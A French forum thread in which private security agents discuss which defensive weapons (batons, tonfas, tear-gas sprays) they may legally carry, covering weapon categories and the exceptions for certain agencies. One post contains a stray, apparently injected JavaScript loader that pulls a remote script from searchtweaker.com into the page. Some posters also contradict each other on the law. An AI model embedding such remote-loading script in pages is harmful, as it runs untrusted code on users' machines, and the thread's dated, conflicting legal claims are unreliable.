ON A DROIT A QUOI POUR SE DEFENDRE

[SECU2013]

Bjr
 que peut on avoir sur soit ou dans le véhicule pour se défendre
 (matraque bombe armes gomme cogne etc ....)
 MERCI

[Sandy1]

Tes formateurs étaient absents pendant ton CQP?

[SECU2013]

D'abord bonjour
Ça fait 20ans que je suis à mon compte
Donc pas de formation et validité permanente
De mon numéro
Si tu as l'information tu peux me la donner
Cordialement

[Sandy1]

Ouaf, en 20 ans tu n'as jamais lu la loi de 83 et les décrets de 86...aujourd'hui le livre 6 du CSI? Là je suis sur le cul...

Livre 6:
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[SECU2013]

Relève toi tu va attrapé froid
Merci pour l'information

[Krazukix]

Bonjour - En clair, sans autorisation, prions pour que tout se passe bien   !
(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="http://www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

[SECU2013]

Pourquoi sans autorisation j'ai une autorisation du cnaps
Je ne comprends pas votre reponse
Cordialement

[Admin]

Alors pour caricaturer, on à le droit, comme moyen de "défense": Le dialogue et la gestion de conflit de manière pacifique.

Ensuite, les arts martiaux, qui ,n'est pas interdit dans notre profession, concernant la neutralisation d'individu ou de sa maitrise.

Ensuite au niveau "matériel":

Vous pouvez "porter" une lampe torche de type Maglight (10 ou 15 piles ^^ ), Mais cela est possible uniquement si vous travaillé seul (sans contact avec le public) - En effet, le port de " tout objet" susceptible de provoquer des blessures à un tiers est interdite aux acteurs de la sécurité privée LORSQU'ILS exercent leurs fonctions au contact avec du public

Pour les véritables "armes" à proprement parlé:
Les agents de sécurité ne peuvent être autorisées à acquérir et à détenir des armes, munitions et éléments que de la catégorie B ou C.(article 32 du décret) 

Matraque: Tonfa ou autres CATEGORIE D
Sont port est interdit. Aucune autorisation préfectorale ne pourra aboutir, car de fait, le port d'une arme de catégorie D est interdite par des agents de sécurité (hors cas spécifique comme les agents de sécurité de bailleurs immobiliers ou la SuGe).

Lacrymogène: CS <2% de moins de 100 mL : CATEGORIE D
Vous pensiez continuez avec l'astuce de la bombe lacrymogène <2% et de moins de 100 mL qui n'était pas classé comme une arme ? Finito cette "faille", elle est dorénavant classé en catégorie D.

Pour celle-ci, même punition que pour les matraques ou Tonfa:
Sont port est interdit. Aucune autorisation préfectorale ne pourra aboutir, car de fait, le port d'une arme de catégorie D est interdite par des agents de sécurité (hors cas spécifique comme les agents de sécurité de bailleurs immobiliers ou la SuGe).

Lacrymogène: CS >2% de moins de 100 mL ou CS >2% de plus de 100 mL ou Poivre (toute contenance): CATEGORIE D
POUR L'INSTANT (mesure transitoire), toutes les bombes lacrymogène sont classé en catégorie D (conformément à l'article 59 du décret 2013-700), en attendant un arrêté interministériel de classement ou un arrêté du ministre de l'intérieur sur avis de la commission interministérielle sur le classement des générateurs d'aérosols incapacitants.

Donc de manière transitoire (jusqu'à parution d'un arrêté de classement des bombes lacrymogène):
Sont port est interdit. Aucune autorisation préfectorale ne pourra aboutir, car de fait, le port d'une arme de catégorie D est interdite par des agents de sécurité (hors cas spécifique comme les agents de sécurité de bailleurs immobiliers ou la SuGe).

Mais "demain", lorsque sera paru l'arrêté de classement, les bombes lacrymogène CS > 100 mL ou au poivre (toute contenance) seront classé en catégorie B. Donc il sera possible pour un client (et seulement lui) de demander le port de ce type d'arme pour les agents de sécurité, pour la protection de ses biens.

[Admin]

Je vous invite à consulter:
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et encore
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[SECU2013]

merci pour c renseignement et encore bravo pour le site

[givenone]

Bonjour,
Les lacrymogene >100 ml: 300 et 500 ml sont en catégorie B. Vente réservé au professionnel. En sécurité privée, seul GPSR, SUGE et GPIS sont autorisés à en porter.
<100 ml en categorie achat et détention libre. Port et transport interdit. Catégorie D. Tonfa également.

D'autant plus qu'une formation est obligatoire pour le tonfa et gazeuse.

[Admin]

Les lacrymogene >100 ml: 300 et 500 ml sont en catégorie B.

Le décret ou l'arrêté, à ma connaissance, n'est pas encore paru concernant la classification des bombes lacrymogène - en attendant, et de manière transitoire, elles sont toutes classés en D, > ou < à 100 ml

[Sandy1]

Merci pour ces précisions.

[givenone]

Si si il est sorti depuis longtemps et > à 100 sont classé en catégorie B. [Vous devez être inscrit et connecté pour voir ce lien]
Nous en sommes équipé au GPiS

[givenone]

Depuis le 6 septembre officiellement puisse qu'au GPIS au GPSR et à la SUGE beaucoup de questions se sont posé. Même le GPSR à cru au final être " hors la loi" et à acheter un stock concidérable de 100 ml.

[Sandy1]

Donc en résumé:

Générateur d'aérosol lacry ou incapacitant (donc incluant les "bombes" aux poivres?) sup à 100 ml = Catégorie B donc soumis à autorisation

Générateur d'aérosol lacry ou incapacitant (donc incluant les "bombes" aux poivres?) Inf ou égal à 100 ml = Catégorie D donc vente libre ou soumise à enregistrement 

C'est ça ou pas?
Par contre dans les textes sur le site Service Public il n'est pas mentionné la notion de 100ml, pour la catégorie D le texte dit simplement je cite "certaines bombes aérosols incapacitantes ou lacrymogènes" Mais pas de mention au 100ml, alors que doit-on en penser?
Quel texte encore en vigueur fait effectivement référence à cette notion de 100ml?

Merci de vos précisions.

[givenone]

Oui tous les agents lacrymogènes sont concernés ( CS, OC, CN, CR).
C'est mentionné ici:
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[givenone]

Bien entendu catégorie D = port et transport interdit cela va de soit.
Et imaginons qu'un client ( celui qui engage votre patron) fasse une demande de catégorie B ( qui sera certainement refusé car la loi ne concerne que les 3 groupement que j'ai cité), une formation sur l'utilisation et avec des mises en cituation, est obligatoir. C'est une arme donc a n'utilisé que sous un seul article! Le 122-5 du cpp et surtout bien entre les ligne. Un agent de sécurité de fait pas de coercition.

[Sandy1]

Ok c'est bon j'ai trouvé dans la section 2, Sous-section 4 : Armes de catégorie D
Rubrique 5

Les armes soumises à enregistrement et les armes et matériels dont l'acquisition et la détention sont libres, qui relèvent de la catégorie D, sont les suivants :
2° Armes et matériels dont l'acquisition et la détention sont libres :

b) Générateurs d'aérosols lacrymogènes ou incapacitants d'une capacité inférieure ou égale à 100 ml classés dans cette catégorie par arrêté conjoint des ministres de la défense, de l'intérieur et des ministres chargés des douanes et de l'industrie ;


Reste à lire en détail cet arrête (???) conjoint dont il est fait mention. Si il existe...

[Sandy1]

Par contre la notion des 2% dont parle l'admin dans son blog, elle existe encore ou pas?

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[givenone]

Non il n'y a plus d'histoir 2% elles sont toutes classés maintenant. Donc si vous vous faites controlé avec une 25 ml avec moins de 2% ça reste un port d'arme prohibé et adieu la carte pro

[givenone]

Lol tout existe reste à savoir où le cherché mais on a ce qui nous interesse principalement.

[Sandy1]

Ben c'est un faux problème parce que ni le livre 6 ni le code de déontologie ne permet à des APS d'avoir un aérosol pendant ses vacations (sauf GPIS, cas particulier).

De plus effectivement les aérosols classés en D (acquisition et détention libres) restent interdits de port et de transport sans motif légitime, donc ils sont destinés à rester au domicile.

[givenone]

Et oui cette loi du 21 decembre 2011 qui autorise les agent de gardiennage et de surveillance a être armé, n'a été créé que pour le GPIS et ne concerne seulement que le GPIS. Aucun agent de sécurité ou autre gardien d'immeuble n'a le droit d'en avoir sur lui. Et pourtant... En allant sur certain site certains nous ayant aperçu avec nos armes ce sont empressés de fair la même croyant qu'il allait être dans la légalité. Donc non déclaré et tout le blabla qui va avec. Mais bon nous ne sommes pas policié cela devient leur probleme pas le notre. Mais ça devient grave car il n'ont subi aucune formation, ne sont pas au courant que ça peut crever des yeux si mal utilisé et surtout ils ne connaissent pas la loi, ni leur droit, noù commence leur travail et où il doit s'arreter... Une carte pro se perd tellement vite...

[Sandy1]

C'est bien plus ancien que 2011 car c'était déjà prévu dans des anciennes versions de la loi de 83 (à cette époque la SUGE et GPSR entraient partiellement dans le champ d'application de la 83-629).
Ce n'est pas que pour le GPIS exclusivement mais pour les services des bailleurs sociaux et pour l'instant, je crois, qu'il y a que le GPIS en France qui a ce genre de structure hybride (à la fois entreprise de sécurité et service interne).

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